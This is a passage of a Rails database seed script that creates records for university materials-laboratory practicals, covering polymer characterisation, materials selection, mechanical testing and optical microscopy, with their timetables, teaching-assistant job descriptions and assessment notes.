loop.\n Plot and produce a hysteresis loop for a magnetic material.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a461.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a461.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a461.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a462 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2310\").first.id, code: \"225\").first_or_create!(name: \"Polymers Characterisation\",\n name_abrv: \"POLYMERCHARAC\", archived: false, in_drive: false, user_id: 5)\n at462 = ActivityTimetable.where(activity_id: a462.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 32, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a462.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a462.id).first_or_create!(criteria: \"Hands-on experience on either key polymers characterisation techniques such as DSC and FTIR and Mechanical Testing Techniques.\",\n job_desc:\"Characterisation of two unknown polymeric samples using Tensile Testing and Charpy impact testing, differential scanning calorimetry (DSC) and Fourier transform infrared (FTIR) spectroscopy.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a462.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a462.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a462.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a463 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT6670\").first.id, code: \"225\").first_or_create!(name: \"Materials characterisation\",\n name_abrv: \"MATCHARAC\", archived: false, in_drive: false, user_id: 2)\n at463 = ActivityTimetable.where(activity_id: a463.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a463.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a463.id).first_or_create!(criteria: \"\",\n job_desc:\"\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a463.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_short.id, num_assess: 3)\n ActivityTech.where(activity_id: a463.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a463.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a464 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1600\").first.id, code: \"226\").first_or_create!(name: \"Materials Identification\",\n name_abrv: \"MATIDENT\", archived: false, in_drive: false, user_id: 3)\n at464 = ActivityTimetable.where(activity_id: a464.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a464.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a464.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"To identify unknown materials using various materials analysis techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a464.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a464.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 4)\n ActivityProgramme.where(activity_id: a464.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a465 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"226\").first_or_create!(name: \"Materials Identification\",\n name_abrv: \"MATIDENT\", archived: false, in_drive: false, user_id: 2)\n at465 = ActivityTimetable.where(activity_id: a465.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a465.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a465.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"To identify unknown materials using various materials analysis techniques.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a465.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a465.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a465.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a466 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE105\").first.id, code: \"227\").first_or_create!(name: \"Materials selection\",\n name_abrv: \"MATSELECT\", archived: false, in_drive: false, user_id: 3)\n at466 = ActivityTimetable.where(activity_id: a466.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a466.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a466.id).first_or_create!(criteria: \"General Maths and Physics Skills, able to construct an Ashby diagram\",\n job_desc:\"To measure a wide range of mechanical properties. To use CES materials selection as a database of material properties. To construct an Ashby diagram and use a simple materials selection process. Techniques used: tensile testing and hardness.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a466.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a466.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a466.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a467 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1643\").first.id, code: \"227\").first_or_create!(name: \"Materials selection\",\n name_abrv: \"MATSELECT\", archived: false, in_drive: false, user_id: 2)\n at467 = ActivityTimetable.where(activity_id: a467.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a467.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a467.id).first_or_create!(criteria: \"General Maths and Physics Skills, able to construct an Ashby diagram\",\n job_desc:\"To measure a wide range of mechanical properties. To use CES materials selection as a database of material properties. To construct an Ashby diagram and use a simple materials selection process. Techniques used: tensile testing and hardness.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a467.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a467.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a467.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a468 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"227\").first_or_create!(name: \"Materials Selection\",\n name_abrv: \"MATSELECT\", archived: false, in_drive: false, user_id: 2)\n at468 = ActivityTimetable.where(activity_id: a468.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a468.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a468.id).first_or_create!(criteria: \"General Maths and Physics Skills, able to construct an Ashby diagram\",\n job_desc:\"To measure a wide range of mechanical properties. To use CES materials selection as a database of material properties. To construct an Ashby diagram and use a simple materials selection process. Techniques used: tensile testing and hardness.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a468.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a468.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a468.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a469 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT6670\").first.id, code: \"227\").first_or_create!(name: \"Materials Selection\",\n name_abrv: \"MATSELECT\", archived: false, in_drive: false, user_id: 2)\n at469 = ActivityTimetable.where(activity_id: a469.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: 30, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a469.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a469.id).first_or_create!(criteria: \"General Maths and Physics Skills, able to construct an Ashby diagram\",\n job_desc:\"To measure a wide range of mechanical properties. To use CES materials selection as a database of material properties. To construct an Ashby diagram and use a simple materials selection process. Techniques used: tensile testing and hardness.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a469.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a469.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a469.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a470 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR132\").first.id, code: \"228\").first_or_create!(name: \"Mechanical properties I\",\n name_abrv: \"MECPROPMAT1\", archived: false, in_drive: false, user_id: 1)\n at470 = ActivityTimetable.where(activity_id: a470.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a470.id).first_or_create!(user_id: 2, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a470.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"The students will build a mass based tensile tester and will extract information such as Young’s modulus and UTS.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a470.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a470.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 1, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a470.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a471 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"GEE105\").first.id, code: \"228\").first_or_create!(name: \"Mechanical properties of materials I\",\n name_abrv: \"MECPROPMAT1\", archived: false, in_drive: false, user_id: 4)\n at471 = ActivityTimetable.where(activity_id: a471.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a471.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a471.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"The students will build a mass based tensile tester and will extract information such as Young’s modulus and UTS.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a471.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a471.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a471.id, programme_id: $prog_gee.id).first_or_create!\n\n\n a472 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1643\").first.id, code: \"228\").first_or_create!(name: \"Mechanical properties of materials I\",\n name_abrv: \"MECPROPMAT1\", archived: false, in_drive: false, user_id: 3)\n at472 = ActivityTimetable.where(activity_id: a472.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a472.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a472.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"The students will build a mass based tensile tester and will extract information such as Young’s modulus and UTS.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a472.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a472.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a472.id, programme_id: $prog_aero.id).first_or_create!\n\n\n a473 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MEC133\").first.id, code: \"228\").first_or_create!(name: \"Mechanical properties of materials I\",\n name_abrv: \"MECPROPMAT1\", archived: false, in_drive: false, user_id: 5)\n at473 = ActivityTimetable.where(activity_id: a473.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: true, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a473.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a473.id).first_or_create!(criteria: \"General Maths and Physics Skills\",\n job_desc:\"The students will build a mass based tensile tester and will extract information such as Young’s modulus and UTS.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a473.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a473.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 5, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a473.id, programme_id: $prog_mec.id).first_or_create!\n\n\n a474 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"AMR132\").first.id, code: \"217\").first_or_create!(name: \"DBTT\",\n name_abrv: \"DBTT\", archived: false, in_drive: false, user_id: 2)\n at474 = ActivityTimetable.where(activity_id: a474.id).first_or_create!(duration: 120, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: false)\n\n ActivityTeaching.where(activity_id: a474.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a474.id).first_or_create!(criteria: \"Hands-on experience on Mechanical Testing Techniques (Tensile Testing, Charpy and Hardness).\",\n job_desc:\"To determine mechanical properties of copper and aluminium, measuring key parameters, performing calculations and generating important plots.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a474.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a474.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 5)\n ActivityProgramme.where(activity_id: a474.id, programme_id: $prog_amrc.id).first_or_create!\n\n\n a475 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2600\").first.id, code: \"230\").first_or_create!(name: \"Microstructure\",\n name_abrv: \"MICROSTRUCTURE\", archived: false, in_drive: false, user_id: 5)\n at475 = ActivityTimetable.where(activity_id: a475.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a475.id).first_or_create!(user_id: 3, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a475.id).first_or_create!(criteria: \"\",\n job_desc:\"The students will gain experience in using tensile test frames and extract mechanical properties from them such as Young’s modulus, yield stress, and ultimate strength for steels of different composition.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a475.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a475.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 2, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a475.id, programme_id: $prog_civ.id).first_or_create!\n\n\n a476 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT1820\").first.id, code: \"231\").first_or_create!(name: \"Nylon testing\",\n name_abrv: \"NYLONTESTING\", archived: false, in_drive: false, user_id: 1)\n at476 = ActivityTimetable.where(activity_id: a476.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 60, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a476.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_low.id)\n ActivityGta.where(activity_id: a476.id).first_or_create!(criteria: \"\",\n job_desc:\"This lab practical, which will run in two sessions, seeks to give you knowledge of the characteristics of polymers. The first session will show how polymers are formed and the second session will investigate their mechanical (tensile testing and hardness) and chemical properties.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a476.id).first_or_create!(assess_weight: nil, notes: \"MOLE quizes. From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_other.id, num_assess: 3)\n ActivityTech.where(activity_id: a476.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, tech_ustudy_id: 1)\n ActivityProgramme.where(activity_id: a476.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a477 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2320\").first.id, code: \"232\").first_or_create!(name: \"Optical Microscopy - Metals I\",\n name_abrv: \"OMMETALS1\", archived: false, in_drive: false, user_id: 3)\n at477 = ActivityTimetable.where(activity_id: a477.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a477.id).first_or_create!(user_id: 4, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a477.id).first_or_create!(criteria: \"\",\n job_desc:\"In these practicals the students will be looking at the microstructures of metal samples using optical microscopes.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a477.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a477.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 2)\n ActivityProgramme.where(activity_id: a477.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a478 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2320\").first.id, code: \"233\").first_or_create!(name: \"Optical Microscopy - Metals II\",\n name_abrv: \"OMMETALS2\", archived: false, in_drive: false, user_id: 5)\n at478 = ActivityTimetable.where(activity_id: a478.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a478.id).first_or_create!(user_id: 1, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a478.id).first_or_create!(criteria: \"\",\n job_desc:\"In these practicals the students will be looking at the microstructures of metal samples using optical microscopes.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a478.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a478.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 4, tech_ustudy_id: 3)\n ActivityProgramme.where(activity_id: a478.id, programme_id: $prog_mat.id).first_or_create!\n\n\n a479 = Activity.where(theme_id: $mbce.id, uni_module_id: UniModule.where(code: \"MAT2320\").first.id, code: \"234\").first_or_create!(name: \"Optical Microscopy- Ceramics\",\n name_abrv: \"OMCERAMICS\", archived: false, in_drive: false, user_id: 4)\n at479 = ActivityTimetable.where(activity_id: a479.id).first_or_create!(duration: 180, kit_prep_time: nil, min_week_num: nil, max_week_num: nil, pref_room_id: $room_ml.id,\n same_as_prev_year: false, series_setup_time: nil, setup_time: nil, takedown_time: nil, notes: \"\",\n capacity: 40, checked_on_timetable: true)\n\n ActivityTeaching.where(activity_id: a479.id).first_or_create!(user_id: 5, g_drive_link: \"\",\n mole_pub_link: \"\", resit_priority_id: $resit_med.id)\n ActivityGta.where(activity_id: a479.id).first_or_create!(criteria: \"\",\n job_desc:\"In these practicals the students will be looking at the microstructures of ceramics samples using optical microscopes.\", jobshop_desc: \"GTA in MEE, the Diamond: Materials Labs\", marking_time: nil, staff_ratio: nil)\n ActivityAssess.where(activity_id: a479.id).first_or_create!(assess_weight: nil, notes: \"From 2019/20: total assesment 2: pre lab with H&S questions to pass and post lab (report) 100%\",\n pre_assess_type_id: $ass_sum.id, during_assess_type_id: $ass_p2p.id, post_assess_type_id: $ass_sum.id, post_lab_type_id: $post_full.id, num_assess: 3)\n ActivityTech.where(activity_id: a479.id).first_or_create!(cost_per_student: nil, equip_needed: \"\",\n last_risk_assess: nil, next_risk_assess: nil, tech_lead_id: 3, 